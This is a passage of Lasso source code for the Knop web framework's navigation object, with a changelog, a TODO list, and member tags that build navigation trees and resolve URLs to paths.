in\n2007-08-29\tJS\t->include: Removed file_exists check since the filename has already been verified in ->filename.\n2007-08-29\tJS\tAdded ->directorytree which returns a map with all knop filenames, to use when searching for includes\n2007-08-28\tJS\t->oncreate: -filenaming to specify how include files are named prefix/suffix/extension\n2007-08-28\tJS\t->filename: Implemented support for flexible folder structures\n2007-08-28\tJS\tInstance variable #actionconfigfile_didrun was not properly declared\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-14\tJS\t->insert: -url='/' can now be used to specify the \"home\" location. \n2007-06-13\tJS\tadded ->children to get a reference to the children nav object for a specified path, so new children can be inserted. Must call ->reindex afterwards. \n2007-06-13\tJS\tadded ->reindex to rebuild the index maps from scratch. Must be done after adding children items. \n2007-06-13\tJS\tadded ->addchildren to replace a current children nav object for a specified path. Will handle the reindexing transparently. \n2007-06-13\tJS\tadded ->keymap, ->pathmap and ->urlmap to access the index maps so they call reindex if they have been invalidated (for example by ->addchildren)\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-06-08\tJS\t->insert: params with empty values are now ignored\n2007-05-04\tJS\t->insert: added check that default item exists in children before storing the default\n2007-04-19\tJS added ->data to retrieve data stored for the current path (or specified path). Optional -type ensures the returned data has the correct type. \n2007-04-19\tJS ->insert: added -data to store arbitrary data object for each path. The object is stored as reference so a variable can be changed after it has been added to the nav object\n2007-04-19\tJS\tadded ->patharray to return the current path as array\n2007-04-17\tJS\t->renderhtml: template now supports #link##title##/link##children# in addition to #item# to provide more flexibility\n2007-04-17\tJS\t->oncreate: added support for -template, -class, currentclass and -currentmarker\n2007-04-13\tJS\tImplemented -class per navitem (only worked globally with setformat before)\n2007-04-03\tJS\t->renderhtml: added -renderpath, -expand and -flat to be able to render parts of the nav menu for more flexible layout\n2007-04-03\tJS\t->renderbreadcrumb: added -home to show the default navigation item first in the breadcrumb \n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\tChanged navmethod path so it uses response_filepath instead of $url_path\n2007-02-25\tJS\tAdded ->actionpath\n2007-02-24\tJS\t->renderhtml: improved handling of classes in nav links\n2007-02-22\tJS\t->url: added -except\n2007-02-09\tJS\t->url: corrected the behavior for plain parameters passed to the tag\n2007-02-05\tJS\t->insert: Added -param to be able to specify params that should be propagated in nav for certain nav elements (like -keyvalue to be able to move between different subtabs for a selected record\n2007-02-05\tJS\t->renderhtml now use ->url to get the right links\n2007-02-01\tJS\tMade usage of trace optional to improve performance\n2007-02-01\tJS\tImprovements to debug_trace to log also recursive events\n2007-02-01\tJS\tAdded ->haschildren, which is now used by ->renderhtml to properly show or hide child level\n2007-01-31\tJS\t->renderhtml Added renderhtml_levels to keep track of how many levels deep navigation has been rendered, to be able to add proper spacing between navigation and content\n2007-01-31\tJS \t->url: -urlargs  Improved handling of urlargs and ?/& delimiters, should work better with navmethod path\n2007-01-30\tJS\tRemoved automatic link title attribute since it can be confusing to show children page titles there\n2007-01-30\tJS\tCorrected parameter path to -path (bug)\n2007-01-23\tJS\t->include: 'config' checks if the same config has already run as actionconfig and won't run again in that case\n2007-01-23\tJS\t->include checks if the file exists first, so no need for empty placeholder files\n2007-01-23\tJS\tAdded ->include and ->library\n2007-01-23\tJS\tAdded ->setlocation\n2007-01-17\tJS\tAdded insert: -hide to allow a location without showing it in navigation\n\nTODO\nAdd support for compound expressions for template. The expression could return a map that would override corresponding param values. \n->insert: Add -raw to be able to inject code into the link tag, similar to form->addfield(-raw). \nExclude file name for example index.lasso from getargs\nOptimize nav->url! Very slow with complex nav object. \nNeeds to exclude also -keyfield and -lockfield. Maybe better to add an option to ->url to not auto-add any \"-\" params at all. \n-params are not sent along in breadcrumb links\nNeed simple way to exclude certain \"-\" params from ->url, also in config per nav item\nAdd support for adding nav structure from a database\nMove templates to a member tag to be make it easier to subclass\nMake it possible to use external URL for -url (make sure there is no / before http)\n\n*/\n\n\tlocal: 'navitems'=array,\t// array of maps\n\t\t'keymap'=map,\t\t\t// to speed up the locating of critical navigation elements (TBD)\n\t\t'pathmap'=map,\t\t\t// contains full key paths also for children navitems\n\t\t'urlmap'=map,\t\t\t// to translate a url to key path, contains url also for children navitems\n\t\t'default'=string,\t\t// default path, i.e. home page\n\t\t'parentkey'=null,\t\t// the key of the parent to this navitem (null for top item)\n\t\t'template'=string,\n\t\t'class'=string,\n\t\t'currentclass'=string,\n\t\t'currentmarker'=null,\n\n\t\t'actionpath'=string,\t\t// captured from -action parameter in submission\n\t\t'path'=string,\t\t\t// captured from path param or urlhandler and translated from url\n\t\t'patharray'=array,\t\t// path broken down into elements\n\t\t'pathargs'=string,\t\t// extra path parts that can contain record identification etc\n\t\t'urlparams'array,\t\t// holds everything needed to generate nav links\n\t\t'navmethod'=string,\t\t// path or param depending on how the nav is propagated. To be able to force path, since url handler doesn't kick in for the start page\n\t\t'filenaming'=string,\n\t\t'directorytreemap'=map,\t// contains a list of all existing filenames in the knop directory tree\n\t\t'root'='/',\t\t\t\t// site root\n\t\t'fileroot'='/',\t\t\t// root for physical files\n\t\t'renderhtml_levels'=0,\t// number of levels rendered by renderhtml\n\t\t// 'tagtime'=integer, \t\t\t// moved to knop_base\n\t\t// 'tagtime_tagname'=string, \t// moved to knop_base\n\t\t'debug_trace'=array,\n\t\t'dotrace'=false,\n\t\t'actionconfigfile_didrun'=string,\t// path to action config file that has been run for the current page load\n\t\t\t\t\t\t\t\t\t\t\t// used to not load the same config again\n\t\t'error_lang'=(knop_lang: -default='en', -fallback);\n\n\tdefine_tag: 'oncreate', -description='Parameters:\\n\\\n\t\t\t-default (optional) Key of default navigation item\\n\\\n\t\t\t-root (optional) The root path for the site section that this nav object is used for\\n\\\n\t\t\t-fileroot (optional) The root for include files, to be able to use a different root for physical files than the logical root of the site. Defaults to the value of -root. \\n\\\n\t\t\t-navmethod (optional) path or param. Path for \"URL designed\" URLs, otherwise a -path parameter will be used for the navigation. \\n\\\n\t\t\t-filenaming (optional) prefix (default), suffix or extension, specifies how include files are named\\n\\\n\t\t\t-trace (optional flag) If specified debug_trace will be used. Defaults to disabled for performance reasons. \\n\\\n\t\t\t-template (optional) html template used to render the navigation menu\\n\\\n\t\t\t-class (optional) default class for all navigation links\\n\\\n\t\t\t-currentclass (optional) class added for the currently active link\\n\\\n\t\t\t-currentmarker (optional) character(s) show to the right link of current nav (typically &raquo;)',\n\t\t-optional='template',\n\t\t-optional='class',\n\t\t-optional='currentclass',\n\t\t-optional='currentmarker',\n\t\t-optional='default',\n\t\t-optional='root',\n\t\t-optional='fileroot',\n\t\t-optional='navmethod',\n\t\t-optional='filenaming',\n\t\t-optional='trace';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace');\n\t\t// TODO: check if we are in an inline, in that case use -key, -label etc as field names and loop through records to fill nav\t\t\n\t\t\n\t\tlocal_defined('default') ? (self -> 'default') = #default;\n\t\tlocal_defined('root') ? (self -> 'root') = #root;\n\t\tlocal_defined('navmethod') ? (self -> 'navmethod') = #navmethod; \n\t\tlocal_defined('template') ? (self -> 'template') = #template;\n\t\tlocal_defined('class') ? (self -> 'class') = #class;\n\t\tlocal_defined('currentclass') ? (self -> 'currentclass') = #currentclass;\n\t\tlocal_defined('currentmarker') ? (self -> 'currentmarker') = #currentmarker;\n\t\tlocal_defined('filenaming') ? (self -> 'filenaming') = #filenaming;\n\n\t\t(self -> 'dotrace') = (local_defined: 'trace') && #trace != false;\n\t\t// normalize slashes\n\t\t(self -> 'root') -> removeleading('/') & removetrailing('/');\n\t\t(self -> 'root') = '/' + (self -> 'root') + '/';\n\t\t(self -> 'root') -> replace('//', '/');\n\n\t\tif: (local_defined: 'fileroot');\n\t\t\t(self -> 'fileroot') = #fileroot;\n\t\t\t// normalize slashes\n\t\t\t(self -> 'fileroot') -> removeleading('/') & removetrailing('/');\n\t\t\t(self -> 'fileroot') = '/' + (self -> 'fileroot') + '/';\n\t\t\t(self -> 'fileroot') -> replace('//', '/');\n\t\telse;\n\t\t\t(self -> 'fileroot') = (self -> 'root');\n\t\t/if;\n\t\t\n\t\t// validate and set default value\n\t\t(map: 'prefix', 'suffix', 'extension') !>> (self -> 'filenaming') ? (self -> 'filenaming') = 'prefix'; \n\t\t\n\t\t// can not perform getlocation here since the nav structure must be defined first\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'onconvert', -description='Outputs the navigation object in a very basic form, just to see what it contains';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'output' = (self -> 'parentkey') + ': ';\n\t\titerate: (self -> 'navitems'), (local: 'navitem');\n\t\t\t#output += #navitem + '\\n';\n\t\t/iterate;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\tdefine_tag: 'insert', -description='Adds a navigation item to nav structure\\n\\\n\t\t\tParameters:\\n\\ \n\t\t\t-key (required) The key will be part of the path\\n\\ \n\t\t\t-label (optional) The menu text\\n\\ \n\t\t\t-url (optional) Nav url to use instead of the default url that is derived from the keys path, used as shortcuts for cleaner URLs\\n\\ \n\t\t\t-title (optional) Link href title text\\n\\ \n\t\t\t-template (optional) Template to use only for this specific nav item, in the form #link##label##current##/link##children#\\n\\\n\t\t\t-children (optional nav) Sub navitems\\n\\ \n\t\t\t-default (optional) Key of default child subnav item\\n\\ \n\t\t\t-param (optional) Name of param or params (string/array) that should be sent along with nav links\\n\\ \n\t\t\t-class (optional) CSS class name to use for this nav item (defaults to none)\\n\\ \n\t\t\t-filename (optional) Name stem for lib, action and content files (defaults to key path with _ instead of /), to be able to use the same processing files for multiple locations\\n\\ \n\t\t\t-disabled (optional flag) Makes the menu item dimmed and non-clickable\\n\\ \n\t\t\t-hide (optional flag) Makes the location valid without showing a menu item for it\\n\\ \n\t\t\t-after (optional) After which navitem to insert this navitem (key or numeric index)\\n\\ \n\t\t\t-data (optional) Arbitrary data object (variable, map, array, compound expression) that can be returned for the location by calling ->data',\n\t\t-required='key',\n\t\t-optional='label',\n\t\t-optional='default',\n\t\t-optional='url', -copy,\n\t\t-optional='title',\n\t\t-optional='template',\n\t\t-optional='children', -type='nav',\n\t\t-optional='param',\n\t\t-optional='class',\n\t\t-optional='filename',\n\t\t-optional='disabled',\n\t\t-optional='hide',\n\t\t-optional='after',\n\t\t-optional='data';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t\n\t\tfail_if: !(local_defined: 'hide') && (local: 'label') == '', -1, 'Insert requires a label';\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': -key = ' + #key);\n\t\t// fail_if: (self -> keymap) >> #key, -1, #key + ' is not unique';\n\t\tif: (self -> keymap) >> #key;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': *** Error key ' + #key + ' is not unique - skipping');\n\t\t\treturn;\n\t\t/if;\n\t\tlocal: 'urlmapchildren'=map,\n\t\t\t'pathmapchildren'=map;\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);\n\t\tif: (local_defined: 'children');\n\t\t\t(#children -> 'parentkey') = #key;\n\t\t\t// grab urlmap and pathmap from children\n\t\t\t#urlmapchildren = (#children -> urlmap);\n\t\t\t#pathmapchildren = (#children -> pathmap);\n\t\t\tif: !(local_defined: 'title');\n\t\t\t\t// set default title to labels of children\n\t\t\t\t/*\n\t\t\t\tlocal: 'title' = array;\n\t\t\t\titerate: (#children -> 'navitems'), (local: 'item');\n\t\t\t\t\t#title -> (insert: (#item -> (find: 'label')));\n\t\t\t\t/iterate;\n\t\t\t\t#title = #title ->  (join: ', ');\n\t\t\t\t*/\n\t\t\t/if;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': adding children');\n\t\t\t(self -> 'debug_trace') -> (merge: (#children -> 'debug_trace'));\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': done adding children');\n\t\t/if;\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);\n\t\tlocal: 'navitem'=map;\n\t\tlocal_defined('key') && #key != '' ? #navitem -> insert('key' = #key); \n\t\tlocal_defined('label') && #label != '' ? #navitem -> insert('label' = #label); \n\t\tlocal_defined('default') && #default != '' ? #navitem -> insert('default' = #default); \n\t\tlocal_defined('url') && #url != '' ? #navitem -> insert('url' = #url); \n\t\tlocal_defined('title') && #title != '' ? #navitem -> insert('title' = #title); \n\t\tlocal_defined('template') && #template != '' ? #navitem -> insert('template' = #template); \n\t\tlocal_defined('children') && #children != '' ? #navitem -> insert('children' = #children); \n\t\tlocal_defined('class') && #class != '' ? #navitem -> insert('class' = #class); \n\t\tlocal_defined('filename') && #filename != '' ? #navitem -> insert('filename' = #filename);\n\n\t\tif(local_defined('default') && #default != '' && #pathmapchildren >> #default);\n\t\t\t// only add default that exists in children\n\t\t\t#navitem -> insert('default' = #default);\n\t\t/if;\n\t\t// store these params by reference\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);\n\t\tlocal_defined('data') && #data != '' ? #navitem -> insert('data' = @#data);\n\n\t\tif: (local_defined: 'param') && #param -> type =='array';\n\t\t\t#navitem -> (insert: 'params'=#param);\n\t\telse: (local_defined: 'param') && #param != '';\n\t\t\t#navitem -> (insert: 'params'=(array: #param));\n\t\t/if;\n\t\t#navitem -> (insert: 'disabled'=(local_defined: 'disabled') && #disabled != false);\n\t\t#navitem -> (insert: 'hide'=(local_defined: 'hide') && #hide != false);\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);\n\t\tlocal: 'index'=(self -> 'navitems') -> size + 1;\n\t\tif: (local_defined: 'after') && (string: #after) -> size;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': -after=' + #after);\n\t\t\tif: #after -> type == 'integer';\n\t\t\t\t#index = #after;\n\t\t\telse: (self -> keymap) >> #after;\n\t\t\t\t#index = (self -> keymap) -> (find: #after) + 1;\n\t\t\t/if;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': index=' + #index);\n\t\t/if;\n\t\tif: #urlmapchildren -> size;\n\t\t\t// we have urlmap from children - insert it into our urlmap with modified keyvalues\n\t\t\titerate: #urlmapchildren, (local: 'urlitem');\n\t\t\t\tfail_if: (self -> urlmap) >> #urlitem -> name, -1, 'url ' + (#urlitem -> name) + ' is not unique';\n\t\t\t\t(self -> 'urlmap') -> (insert: #urlitem -> name = #key + '/' + (#urlitem -> value));\n\t\t\t/iterate;\n\t\t/if;\n\t\tif: #pathmapchildren -> size;\n\t\t\t// we have pathmap from children - insert it into our pathmap with modified keys\n\t\t\titerate: #pathmapchildren, (local: 'pathitem');\n\t\t\t\t(self -> 'pathmap') -> (insert: #key + '/' + #pathitem -> name);\n\t\t\t/iterate;\n\t\t/if;\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': #key=' + #key);\n\t\tif: (local_defined: 'url') && #url != '';\n\t\t\t#url -> (removeleading: '/') & (removetrailing: '/');\n\t\t\tfail_if: (self -> urlmap) >> #url, -1, 'url ' + #url + ' is not unique';\n\t\t\t(self -> 'urlmap') -> (insert: #url = #key);\n\t\t/if;\n\t\t(self -> 'pathmap') -> (insert: #key);\n\t\t(self -> 'navitems') -> (insert: #navitem, #index);\n\t\t// update keymap\n\t\t(self -> 'keymap') = map;\n\t\titerate: (self -> 'navitems'), (local: 'item');\n\t\t\t(self -> 'keymap') -> (insert: (#item -> (find: 'key'))  = loop_count);\n\t\t/iterate;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\t\n\t/define_tag;\n\t\n\t\n\t/*\n\tdefine_tag: 'remove',\t-description='Remove nav object and its children for specified key path. Must update index maps afterwards. ',\n\t\t-required='path', -type='string', -copy;\n\t\tfail: -1, 'Not implemented'; // This tag is not yet functional\n\t\t\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t#path -> removeleading('/') & removetrailing('/');\n\t\tlocal: 'path_remove'=#path -> split('/') -> last;\n\t\t#path -> removetrailing(#path_remove) & removetrailing('/');\n\t\t// we need to find a reference to the navitems array of maps that contains the nav item to remove\n\t\tif: #path -> size;\n\t\t\tlocal: 'navitem'=@(self -> getnav(#path));\n\t\telse;\n\t\t\tlocal: 'navitem'=@self -> getnav;\n\t\t/if;\n\t\t// we also need to find a reference to the keymap where we can find the index of the array item to remove\n\t\treturn: #navitem;\n\t\t(#navitem -> getnav) -> remove(#navitem -> keymap -> find(#path_remove));\n\t\t\n\t\t// invalidate index maps\n\t\t(#navitem -> 'keymap') = null;\n\t\t(#navitem -> 'pathmap') = null;\n\t\t(#navitem -> 'urlmap') = null;\n\n\t\t(self -> 'keymap') = null;\n\t\t(self -> 'pathmap') = null;\n\t\t(self -> 'urlmap') = null;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t*/\n\t\n\tdefine_tag: 'addchildren',\t-description='Add nav object as children to specified key path, replacing the current children if any. \\\n\t\tMust update index maps afterwards. ',\n\t\t-required='path',\n\t\t-required='children', -type='nav';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tlocal: 'navitem'=@(self -> (getnav: #path));\n\t\t#navitem -> (insert: 'children' = #children);\n\n\t\t// invalidate index maps\n\t\t(#navitem -> 'keymap') = null;\n\t\t(#navitem -> 'pathmap') = null;\n\t\t(#navitem -> 'urlmap') = null;\n\n\t\t(self -> 'keymap') = null;\n\t\t(self -> 'pathmap') = null;\n\t\t(self -> 'urlmap') = null;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'children', -description='Return reference to the children of the current navigation object map, or for the specified path',\n\t\t-optional='path', -copy;  \n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t!(local_defined: 'path') ? local: 'path'=(self -> 'patharray');\n\t\tif: #path -> type != 'array';\n\t\t\t#path = string: #path;\n\t\t\t#path -> (removeleading: '/') & (removetrailing: '/');\n\t\t\t#path = #path -> (split: '/');\n\t\t/if;\n\t\t(self -> pathmap) !>> (#path -> (join: '/')) ? return: knop_nav;\n\n\t\tlocal: 'nav'=@(self -> (getnav: #path));\n\t\tif: #nav !>> 'children';\n\t\t\t#nav -> (insert: 'children'=knop_nav);\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @(#nav -> (find: 'children'));\n\t/define_tag;\n\t\n\tdefine_tag: 'reindex', -description='To recreate keymap, pathmap and urlmap';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t(self -> 'keymap') = map;\n\t\t(self -> 'pathmap') = map;\n\t\t(self -> 'urlmap') = map;\n\t\tlocal: 'key'=null, 'pathitem'=null, 'urlitem'=null, 'url'=string;\n\t\titerate: (self -> 'navitems'), (local: 'navitem');\n\t\t\t#key = #navitem -> (find: 'key');\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': key=' + #key);\n\t\t\t(self -> 'keymap') -> (insert: #key = loop_count);\n\t\t\t(self -> 'pathmap') -> (insert: #key);\n\t\t\tif: #navitem -> (find: 'url') != '';\n\t\t\t\t#url=#navitem -> (find: 'url');\n\t\t\t\t#url -> (removeleading: '/') & (removetrailing: '/');\n\t\t\t\tfail_if: (self -> urlmap) >> #url, -1, 'url ' + #url + ' is not unique';\n\t\t\t\t(self -> 'urlmap') -> (insert: #url = #key);\n\t\t\t/if;\n\t\t\tif: #navitem >> 'children';\n\t\t\t\t#navitem -> (find: 'children') -> reindex; // recursive\n\t\t\t\titerate: (#navitem -> (find: 'children') -> pathmap), #pathitem;\n\t\t\t\t\t(self -> 'pathmap') -> (insert: #key + '/' + #pathitem -> name);\n\t\t\t\t/iterate;\n\t\t\t\titerate: (#navitem -> (find: 'children') -> urlmap), #urlitem;\n\t\t\t\t\tfail_if: (self -> urlmap) >> #urlitem -> name, -1, 'url ' + (#urlitem -> name) + ' is not unique';\n\t\t\t\t\t(self -> 'urlmap') -> (insert: #urlitem -> name = #key + '/' + (#urlitem -> value));\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t/iterate;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'keymap';\n\t\t(self -> 'keymap') -> type != 'map' ? self -> reindex;\n\t\treturn: (self -> 'keymap');\n\t/define_tag;\n\tdefine_tag: 'pathmap';\n\t\t(self -> 'pathmap') -> type != 'map' ? self -> reindex;\n\t\treturn: (self -> 'pathmap');\n\t/define_tag;\n\tdefine_tag: 'urlmap';\n\t\t(self -> 'urlmap') -> type != 'map' ? self -> reindex;\n\t\treturn: (self -> 'urlmap');\n\t/define_tag;\n\t\n\tdefine_tag: 'getlocation', -description='Grabs path and actionpath from params or urlhandler, translates from url to path if needed. This must be called before using the nav object. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-setpath (optional) forces a new path',\n\t\t-optional='setpath';\n\t\thandle;knop_debug('Done with ' + self->type + ' -> ' + tag_name, -time, -type=self->type);/handle;\n\t\tlocal: 'path'=string, \n\t\t\t'patharray'=array, \n\t\t\t'originalpath'=string, \n\t\t\t'pathargs'=string,\n\t\t\t'actionpath'=string,\n\t\t\t'validurl'=false;\n\t\t\t// TODO: Produce 404 error for invalid urls\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\t\t\n\t\t(self -> 'path') = string;\n\t\t(self -> 'patharray') = array;\n\t\t(self -> 'pathargs') = string;\n\t\t(self -> 'actionpath') = string;\n\t\t// get action path\n\t\tlocal: 'clientparams'=client_getparams;\n\t\t#clientparams -> (merge: client_postparams);\n\t\t#actionpath = (#clientparams >> '-action' ? (#clientparams -> (find: '-action') -> first -> value) | string);\n\t\t#actionpath -> (removeleading: '/') & (removetrailing: '/');\n\t\t// validate action path\n\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': testing action path ' + #actionpath);\n\t\tif: #actionpath -> size && (self -> pathmap) >> #actionpath;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found match for action path ' + #actionpath);\n\t\t\t(self -> 'actionpath') = #actionpath;\n\t\t/if;\n\n\t\t// get url or path\n\t\tif: (local: 'setpath') != '';\n\t\t\t#originalpath = string: #setpath;\n\t\telse: (self -> 'navmethod') != 'param'; \n\t\t\t(self -> 'navmethod') = 'path';\n\t\t\t#originalpath = response_filepath;\n\t\t\t#originalpath -> (removeleading: (self -> 'root'));\n\t\telse: (self -> 'navmethod') != 'path';\n\t\t\t(self -> 'navmethod') = 'param';\n\t\t\tif: #clientparams >> '-path';\n\t\t\t\t// path is sent as -path GET or POST parameter\n\t\t\t\t#originalpath = (#clientparams >> '-path' ? (#clientparams -> (find: '-path') -> first -> value) | string);\n\t\t\telse: client_getparams -> size && client_getparams -> first -> isa('string');\n\t\t\t\t// path is sent as first unnamed GET parameter \n\t\t\t\t#originalpath = client_getparams -> first;\n\t\t\t/if;\n\t\t/if;\n\t\t#originalpath -> (removeleading: '/') & (removetrailing: '/');\n\t\t#path = #originalpath;\n\t\t#patharray = (string: #originalpath) -> (split: '/');\n\t\t// look for longest match in urlmap\n\t\tlocal: 'pathfinder'=#patharray;\n\t\tloop: #pathfinder -> size;\n\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking at url ' + #pathfinder -> (join: '/'));\n\t\t\tif: (self -> urlmap) >> #pathfinder -> (join: '/');\n\t\t\t\t// use translated key path\n\t\t\t\t#path=(self -> urlmap) -> (find: #pathfinder -> (join: '/'));\n\t\t\t\t#validurl=true;\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found url match for ' (#pathfinder -> (join: '/')) + ' translating to ' + #path);\n\t\t\t\tloop_abort;\n\t\t\telse;\n\t\t\t\t// remove last path part and try again\n\t\t\t\t#pathfinder -> remove;\n\t\t\t/if;\n\t\t/loop;\n\t\tif: !#validurl;\n\t\t\t// no url found, dig into the nav structure to see if path is valid\n\t\t\tlocal: 'pathfinder'=#patharray;\n\t\t\tloop: #pathfinder -> size;\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking at path ' + #pathfinder -> (join: '/'));\n\t\t\t\tif: (self -> pathmap) >> #pathfinder -> (join: '/');\n\t\t\t\t\t// use key path\n\t\t\t\t\t#path=#pathfinder -> (join: '/');\n\t\t\t\t\t#validurl=true;\n\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found path match for ' (#pathfinder -> (join: '/')));\n\t\t\t\t\tloop_abort;\n\t\t\t\telse;\n\t\t\t\t\t// remove last path part and try again\n\t\t\t\t\t#pathfinder -> remove;\n\t\t\t\t/if;\n\t\t\t/loop;\n\t\t/if;\n\t\t// look for disabled path\n\t\tif: #validurl;\n\t\t\t#path = (string: #path) -> (split: '/');\n\t\t\twhile: #path -> size > 1 && (self -> (getnav: #path)) -> (find: 'disabled');\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': path '+ #path + ' is disabled');\n\t\t\t\t#path -> remove;\n\t\t\t/while;\n\t\t\tif: (self -> (getnav: #path)) -> (find: 'disabled');\n\t\t\t\t#validurl = false;\n\t\t\t/if;\n\t\t\t#path = #path -> (join: '/');\n\t\t/if;\n\t\t\n\t\tif: !#validurl;\n\t\t\t// we haven't found a valid location, we must resort to a default page\n\t\t\tif: self -> 'default' != '' && self -> pathmap >>  self -> 'default';\n\t\t\t\t#path = self -> 'default';\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': use defalt location ' #path);\n\t\t\telse;\n\t\t\t\t// use first page as default, if it exists\n\t\t\t\titerate(self -> 'navitems', local('navitem'));\n\t\t\t\t\tif(#navitem >> 'key' \n\t\t\t\t\t\t&& !(#navitem -> find('disabled')) \n\t\t\t\t\t\t&& !(#navitem -> find('hide')));\n\t\t\t\t\t\t#path = #navitem -> find('key');\n\t\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': use first page as default location ' #path);\n\t\t\t\t\t\tloop_abort;\n\t\t\t\t\t/if;\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t\tif: (self -> pathmap) >> #path;\n\t\t\t\t#validurl = true;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': no navigation seems to be defined ' #path);\n\t\t\t/if;\n\t\t/if;\n\t\t\n\t\tif: #validurl;\n\t\t\t// recursively look for default sub page\n\t\t\tlocal: 'hasdefault'=true;\n\t\t\twhile: #hasdefault;\n\t\t\t\tlocal: 'defaultkey' = (self -> (getnav: #path)) -> (find: 'default');\n\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': looking for default key ' + #defaultkey);\n\t\t\t\tif: !(((self -> (getnav: #path))) -> (find: 'disabled')) \n\t\t\t\t\t&& !(((self -> (getnav: #path + '/' + #defaultkey))) -> (find: 'disabled'))\n\t\t\t\t\t&& #defaultkey != '' && (self -> (getnav: #path)) -> (find: 'children') -> keymap >> #defaultkey;\n\t\t\t\t\t#path += '/' + #defaultkey;\n\t\t\t\t\t#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': new path is ' + #path);\n\t\t\t\telse;\n\t\t\t\t\t#hasdefault=false;\n\t\t\t\t/if;\n\t\t\t/while;\n\t\t\t\n\t\t\t// look for path arguments = the leftover when we found a matching path\n\t\t\t#pathargs = #originalpath;\n\t\t\t#pathargs -> (removeleading: #pathfinder -> (join: '/')) & (removeleading: '/');\n\t\t\t\n\t\t\t// store values\n\t\t\t(self -> 'path') = #path;\n\t\t\t(self -> 'patharray') = (string: #path) -> (split: '/');\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': path is ' + #path);\n\t\t\tif: #pathargs != '';\n\t\t\t\t(self -> 'pathargs') = #pathargs;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': pathargs is ' + #pathargs);\n\t\t\t/if;\n\t\telse;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': no matching path found');\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'setlocation', -description='Sets the current location to a specific nav path or url',\n\t\t-required='path';\n\t\tlocal: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); \n\t\tself -> (getlocation: -setpath=#path);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\t\n\tdefine_tag: 'setformat', -description='Sets html template for the nav object, use #items# #item# #/items# or more elaborate #items# #link##label##current##/link##children# #/items# as 